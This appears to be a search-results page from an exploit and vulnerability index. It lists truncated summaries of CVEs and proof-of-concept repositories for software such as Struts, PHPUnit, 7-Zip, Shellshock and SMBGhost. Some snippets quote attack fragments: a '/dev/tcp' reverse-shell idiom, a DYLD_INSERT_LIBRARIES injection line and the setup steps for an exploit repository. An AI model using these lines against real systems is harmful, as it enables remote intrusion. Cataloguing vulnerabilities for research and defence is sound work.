1266631 matches found
fetch-broker-conf
Fetch Broker Configuration Fetch Broker Configuration will try to download the RocketMQ broker configuration in order to hunt for indicators of compromise in the rocketmqHome variable. The variable is used by various attackers to execute code via CVE-2023-33246. For additional details, see the...
CVE-2025-55188
CVE-2025-55188: كتابة ملفات تعسفية في 7-Zip إثبات مفهوم لـ CVE-2025-55188، وهي ثغرة كتابة تعسفية للملفات في 7-Zip. تم تصحيحها في الإصدار 25.01، الذي صدر في 3 أغسطس 2025. ملاحظة: CVE-2025-55188 مختلفة عن CVE-2025-11001. الإصدار الذي تم فيه تصحيح CVE-2025-11001 الإصدار 25.00 لا يزال عرضة لتنفيذ كود...
primefaces
من الطاولة إلى الكود: رحلة عبر ثغرة RCE في نقاط البيع للمطاعم في هذه الفرصة، صادفنا بالصدفة ثغرة أمنية موجودة في العديد من تطبيقات نقاط البيع للمطاعم XETUX، وهو حل لمراقبة المطاعم وأتمتتها. في بنما، تُستخدم هذه الأداة على نطاق واسع من قبل العديد من المطاعم. الثغرة الموجودة هي RCE تنفيذ التعليمات...
craft-cms-RCE-CVE-2024-56145
craft-cms-RCE-CVE-2024-56145 A POC lab environment for CVE-2024-56145 CraftCMS RCE. Vulnerability Description A potential RCE vulnerability is found in craftCMS if the registerargcargv option is enabled in php.ini. This is a POC lab environment where you can reproduce and exploit the bug. The ful...
CVE-2026-47630
CVE-2026-47630 — NVIDIA Triton Inference Server : dlopen arbitraire via TRITONBATCHSTRATEGYPATH Traversée de chemin absolu dans le chargeur personnalisé de stratégie de batching de triton-inference-server/core. Un paramètre de configuration de modèle est transmis sans validation à dlopenRTLDNOW |...
CVE-2022-43959
CVE-2022-43959 Bitrix Vulnerability CVE-2022-43959 Description Insufficiently Protected Credentials in the AD/LDAP server settings in 1C-Bitrix Bitrix24 AD/LDAP connector module before version 23.100.0 allow remote administrators to discover an AD/LDAP administrative password by reading the sourc...
CVE-2024-55503
CVE-2024-55503 Termius App MacOS dylib Command injection Description An issue in termius before v.9.9.0 allows a local attacker to execute arbitrary code via a crafted script to the DYLDINSERTLIBRARIES component. using dylib DYLDINSERTLIBRARIES=exploitcombined.dylib...
Exploit for Missing Authentication for Critical Function in Coreweave Marimo
CVE-2026-39987 - Marimo Pre-Auth RCE xpl0ited by infrar3dh...
CVE-2023-27524
CVE-2023-27524 Insecure Default Configuration in Apache Superset Leads to Remote Code Execution Screenshot Requirements Python3.7+ Supported Os Linuxer Wingays Get start with $ git clone https://github.com/Pari-Malam/CVE-2023-27524 $ cd CVE-2023-27524 $ pip/pip3 install -r requirements.txt $...
CVE-2022-23967
CVE-2022-23967 In TightVNC 1.3.10, there is an integer signedness error and resultant heap-based buffer overflow in InitialiseRFBConnection in rfbproto.c for the vncviewer component. There is no check on the size given to malloc, e.g., -1 is accepted. This allocates a chunk of size zero, which wi...
CVE-2017-5638
CVE-2017-5638 | Struts s2-045 Description It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user. Affected versions Struts 2.3.5 Struts 2.3.31 Struts 2.5 Stru...
CVE-2026-104890 Kunstmaan CMS: MediaBundle extension blacklist bypass allows authenticated administrators to upload executable PHP files leading to remote code execution
Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...
CVE-2026-104890 Kunstmaan CMS: MediaBundle extension blacklist bypass allows authenticated administrators to upload executable PHP files leading to remote code execution
Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...
CVE-2026-104890
Kunstmaan CMS , a Symfony-based content management system, contains a blacklist bypass vulnerability in the MediaBundle extension (specifically in src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php). Prior to version 7.3.2 , the FileHandler::getFilePath function performs a case-sensitive check...
CVE-2026-104890
Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...
CVE-2017-9841
phpunit-shell ⭐ a simple python3 script to exploit CVE-2017-9841. the exploit - CVE-2017-9841 ❗ simple script that exploits a remote code execution vulnerability found in PHPUnit before 4.8.28 and 5.x before 5.6.3. makes a post request to the target with user input system commands...
CVE-2014-6271
Hellshocker 0.1.1 Tool to exploit Shellshock vulnerability Tired of using weak shellshock exploits or just "/bin/bash & /dev/tcp/IP/port 0&1" your way into the server? Yes, you need to upload and execute something more complex to the server, and base64 encoding a huge file is impossible for your...
CVE-2018-6574
CVE-2018-6574 Remote command execution in Golang go get command. CVE-2018-6574 this vulnerability impacts Golang go get command and allows an attacker to gain code execution on a system by installing a malicious library, this vulnerability was fixed in Go 1.8.7, 1.9.4 and 1.10rc2. Golang will bui...
SMBGhost_AutomateExploitation
SMBGhost CVE-2020-0796 Automate Exploitation and Detection This python program is a wrapper from the RCE SMBGhost vulnerability. All the credits for the working exploit to chompie1337. All the credits for the scanner to ioncodes. I just automate these functions in one program. You need to have in...